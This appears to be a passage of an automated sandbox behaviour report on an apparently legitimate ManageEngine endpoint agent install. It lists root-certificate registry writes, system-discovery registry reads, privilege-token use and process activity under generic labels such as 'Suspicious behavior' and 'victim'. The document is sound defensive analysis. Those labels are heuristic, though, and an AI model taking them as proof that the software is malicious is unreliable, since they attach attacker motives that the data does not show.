1900000001000000100000003003e4f7a11776032b99be13bb599cc50f00000001000000200000000b0f40ef08a2808e1e395f6c927bb3ac139a3eb28219a4aaa41a58569ab537630300000001000000140000003c6bbd10a2cedcb0333d106c91cfb1ab97abcf7e14000000010000001400000001825ce39c528ee3b208e316479cd57e9969d4652000000001000000f0030000308203ec308202d4a00302010202084d2cc3d6c597659f300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303931333131323234355a180f32303531303931333131323234355a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100bbd440ab38fe1d25913cdc09feabab2486695d93bdcaf8145be01cc69d5f9b13ab6148cc37d356fd1abf113cf0332164f4e1ea43ae4231cff37fd02bbe0aad65eb37fef0df231920406ff0c16467645f94b19b8da969d402756924aee9bc8fa146a320a29c067600d305f6d251e58f7e1cc92588da7d3d50f56f0575c94aae101419f50f9b10909237e470ac289320b5cd898338d0e031a23f416c38843d25ac677278f4af9f048a8fc4a3546e2dbcfa407f37ccb68ecdab8b31de7dc79ff97c0d79bcd7724372f6fd2650a6f1202ec198d731c8ca0728f51d6a2ce75f68e1b4eefd37625681fa742fa723ab8e94af5551d6a459cc6160b51b2c2e7f24aead2d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041401825ce39c528ee3b208e316479cd57e9969d465301f0603551d2304183016801401825ce39c528ee3b208e316479cd57e9969d465300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101007d67b226122ea14b4f02a8b779d6ca0bff7bf9a35718c3f902eee904943794b2e10e1b480f2209d6a1f94e2439c280a09f74ce3b3007c6cfec8062e7f7901774945e24469861aebaa6b39717d9c23eb790c4e6616a2f2fcea28b40f7e444fb4392062d4b5216ed47c170c1993206093d58174980152c38fad51015138cf0b2172927494f4de6836fa2dbfdee88f9a57cf55a569f8be1524d9b46c239a0b4c48f07c76078b7b1dd5a63262f6ad6815a73631e98b907cd134fc225bb0e73df59f4f84e9bb498d0cfd4710795375497ed57dabb2c4c9a5e698d11f32913ce1fae16d7a30a1b23adab84cf7012a1753886b0f9e0e3afad72898d12d4828b85121efd dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3318D8D5BC68C3A093275FD9ECB05601BAB4452D\Blob = 190000000100000010000000eace8d07de279f26c4b966fd5fee2c960f0000000100000020000000ab3643f2e1732fd3912fb3603a9e513cd2d8f611de844844c897266a8e6a688d0300000001000000140000003318d8d5bc68c3a093275fd9ecb05601bab4452d1400000001000000140000003cc284c25cd4357348ed1cf0a512fbae949f77902000000001000000d8030000308203d4308202bca00302010202085c9e3c6a069782bd300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303931333131323234345a180f32303531303931333131323234345a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b7fdb8e15889be687ff26b83016fdf0600ef11a7b41c2bd9738b37c93be3cc9533629ccd65f69778c5ddaed121f2f9d17a9398f7af7b62b3682b9ea200f84c021cbbcace5f4a534ef5a5b4248083b4983a4c0ee11ca1c5558288d182b64b89c2c3869793feafc9afef57d3071bfb6bc4a2363f1e11789d34ee4466ea91458938c2188e40de0c02a5df0d7ce313b251fb66d4920c23f6c2a2337ae3f0d2658cba0010b2fc2feed0f11fe2ef0c82b70d303d62657b91ffb134ac10cf1c92a2f2e5d9cca517e001a2d2f2d0b9111c8835d4f2c7910474cdf98cf4f7684caeaf5a9b6e2b229bcb9afdbe30a760f590721cbb7996ce57fb78a76c653f9aa2fbb4ac250203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143cc284c25cd4357348ed1cf0a512fbae949f7790301f0603551d230418301680143cc284c25cd4357348ed1cf0a512fbae949f7790300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100b644c329d59a228171eaa12fb33c8baccea0767b01278c19594904824a8526d85528348cfa9fa2fb9d5f81acf728df0f9d724fad8de4293c476711148c88a7841a7eaafd6fa6035398537682118918d31521199209a813b9b86ef3f72c33116a5c6027c1bd496a10e530fd33f220be072292c6309938f7fa83f2ae7c1d07c8fe89d70df7a620557b7440c96259de6fc3ae2f218146192e56ee7ff4e45fb26b92cf01763c599f36ac84197414fe885d3afe42631183d368f5f925ddf7899809e7bf850ebbe0c78fb8f158afd10f89cfe9f787b374e940461c25b24c93290a16ff29357246d300f7659f469705d12b4293fbbf2a0f6fd8bb6f5435ca9966a1690c dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3318D8D5BC68C3A093275FD9ECB05601BAB4452D\Blob = 0300000001000000140000003318d8d5bc68c3a093275fd9ecb05601bab4452d2000000001000000d8030000308203d4308202bca00302010202085c9e3c6a069782bd300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303931333131323234345a180f32303531303931333131323234345a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b7fdb8e15889be687ff26b83016fdf0600ef11a7b41c2bd9738b37c93be3cc9533629ccd65f69778c5ddaed121f2f9d17a9398f7af7b62b3682b9ea200f84c021cbbcace5f4a534ef5a5b4248083b4983a4c0ee11ca1c5558288d182b64b89c2c3869793feafc9afef57d3071bfb6bc4a2363f1e11789d34ee4466ea91458938c2188e40de0c02a5df0d7ce313b251fb66d4920c23f6c2a2337ae3f0d2658cba0010b2fc2feed0f11fe2ef0c82b70d303d62657b91ffb134ac10cf1c92a2f2e5d9cca517e001a2d2f2d0b9111c8835d4f2c7910474cdf98cf4f7684caeaf5a9b6e2b229bcb9afdbe30a760f590721cbb7996ce57fb78a76c653f9aa2fbb4ac250203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143cc284c25cd4357348ed1cf0a512fbae949f7790301f0603551d230418301680143cc284c25cd4357348ed1cf0a512fbae949f7790300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100b644c329d59a228171eaa12fb33c8baccea0767b01278c19594904824a8526d85528348cfa9fa2fb9d5f81acf728df0f9d724fad8de4293c476711148c88a7841a7eaafd6fa6035398537682118918d31521199209a813b9b86ef3f72c33116a5c6027c1bd496a10e530fd33f220be072292c6309938f7fa83f2ae7c1d07c8fe89d70df7a620557b7440c96259de6fc3ae2f218146192e56ee7ff4e45fb26b92cf01763c599f36ac84197414fe885d3afe42631183d368f5f925ddf7899809e7bf850ebbe0c78fb8f158afd10f89cfe9f787b374e940461c25b24c93290a16ff29357246d300f7659f469705d12b4293fbbf2a0f6fd8bb6f5435ca9966a1690c dcagentregister.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 14 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcconfig.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain rundll32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagentservice.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcagentservice.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname rundll32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcusbsummary.exe - System Location Discovery: System Language Discovery 1 TTPs 30 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcondemand.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CRU_Reporter.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe - Checks SCSI registry key(s) 3 TTPs 10 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc dcusb64.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 940 systeminfo.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust dcconfig.exe - Modifies registry class 7 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcagentservice.exe Key created \REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\Local Settings CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList dcagentservice.exe - Modifies system certificate store 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3C6BBD10A2CEDCB0333D106C91CFB1AB97ABCF7E dcagentregister.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3318D8D5BC68C3A093275FD9ECB05601BAB4452D dcagentregister.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe - Suspicious behavior: LoadsDriver 34 IoCs
pid Process 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1396 rundll32.exe Token: SeLoadDriverPrivilege 1396 rundll32.exe Token: SeTakeOwnershipPrivilege 1396 rundll32.exe Token: SeIncBasePriorityPrivilege 1396 rundll32.exe Token: SeTcbPrivilege 1396 rundll32.exe Token: SeDebugPrivilege 1396 rundll32.exe Token: SeCreateTokenPrivilege 1396 rundll32.exe Token: SeAssignPrimaryTokenPrivilege 1396 rundll32.exe Token: SeLockMemoryPrivilege 1396 rundll32.exe Token: SeIncreaseQuotaPrivilege 1396 rundll32.exe Token: SeMachineAccountPrivilege 1396 rundll32.exe Token: SeTcbPrivilege 1396 rundll32.exe Token: SeSecurityPrivilege 1396 rundll32.exe Token: SeTakeOwnershipPrivilege 1396 rundll32.exe Token: SeLoadDriverPrivilege 1396 rundll32.exe Token: SeSystemProfilePrivilege 1396 rundll32.exe Token: SeSystemtimePrivilege 1396 rundll32.exe Token: SeProfSingleProcessPrivilege 1396 rundll32.exe Token: SeIncBasePriorityPrivilege 1396 rundll32.exe Token: SeCreatePagefilePrivilege 1396 rundll32.exe Token: SeCreatePermanentPrivilege 1396 rundll32.exe Token: SeBackupPrivilege 1396 rundll32.exe Token: SeRestorePrivilege 1396 rundll32.exe Token: SeShutdownPrivilege 1396 rundll32.exe Token: SeDebugPrivilege 1396 rundll32.exe Token: SeAuditPrivilege 1396 rundll32.exe Token: SeSystemEnvironmentPrivilege 1396 rundll32.exe Token: SeChangeNotifyPrivilege 1396 rundll32.exe Token: SeRemoteShutdownPrivilege 1396 rundll32.exe Token: SeUndockPrivilege 1396 rundll32.exe Token: SeSyncAgentPrivilege 1396 rundll32.exe Token: SeEnableDelegationPrivilege 1396 rundll32.exe Token: SeManageVolumePrivilege 1396 rundll32.exe Token: SeImpersonatePrivilege 1396 rundll32.exe Token: SeCreateGlobalPrivilege 1396 rundll32.exe Token: 31 1396 rundll32.exe Token: 32 1396 rundll32.exe Token: 33 1396 rundll32.exe Token: 34 1396 rundll32.exe Token: 35 1396 rundll32.exe Token: SeShutdownPrivilege 3884 msiexec.exe Token: SeIncreaseQuotaPrivilege 3884 msiexec.exe Token: SeSecurityPrivilege 1200 msiexec.exe Token: SeCreateTokenPrivilege 3884 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3884 msiexec.exe Token: SeLockMemoryPrivilege 3884 msiexec.exe Token: SeIncreaseQuotaPrivilege 3884 msiexec.exe Token: SeMachineAccountPrivilege 3884 msiexec.exe Token: SeTcbPrivilege 3884 msiexec.exe Token: SeSecurityPrivilege 3884 msiexec.exe Token: SeTakeOwnershipPrivilege 3884 msiexec.exe Token: SeLoadDriverPrivilege 3884 msiexec.exe Token: SeSystemProfilePrivilege 3884 msiexec.exe Token: SeSystemtimePrivilege 3884 msiexec.exe Token: SeProfSingleProcessPrivilege 3884 msiexec.exe Token: SeIncBasePriorityPrivilege 3884 msiexec.exe Token: SeCreatePagefilePrivilege 3884 msiexec.exe Token: SeCreatePermanentPrivilege 3884 msiexec.exe Token: SeBackupPrivilege 3884 msiexec.exe Token: SeRestorePrivilege 3884 msiexec.exe Token: SeShutdownPrivilege 3884 msiexec.exe Token: SeDebugPrivilege 3884 msiexec.exe Token: SeAuditPrivilege 3884 msiexec.exe Token: SeSystemEnvironmentPrivilege 3884 msiexec.exe - Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 1396 rundll32.exe 3884 msiexec.exe 1200 msiexec.exe 4180 MsiExec.exe 5292 dcusbsummary.exe - Suspicious use of WriteProcessMemory 29 IoCs
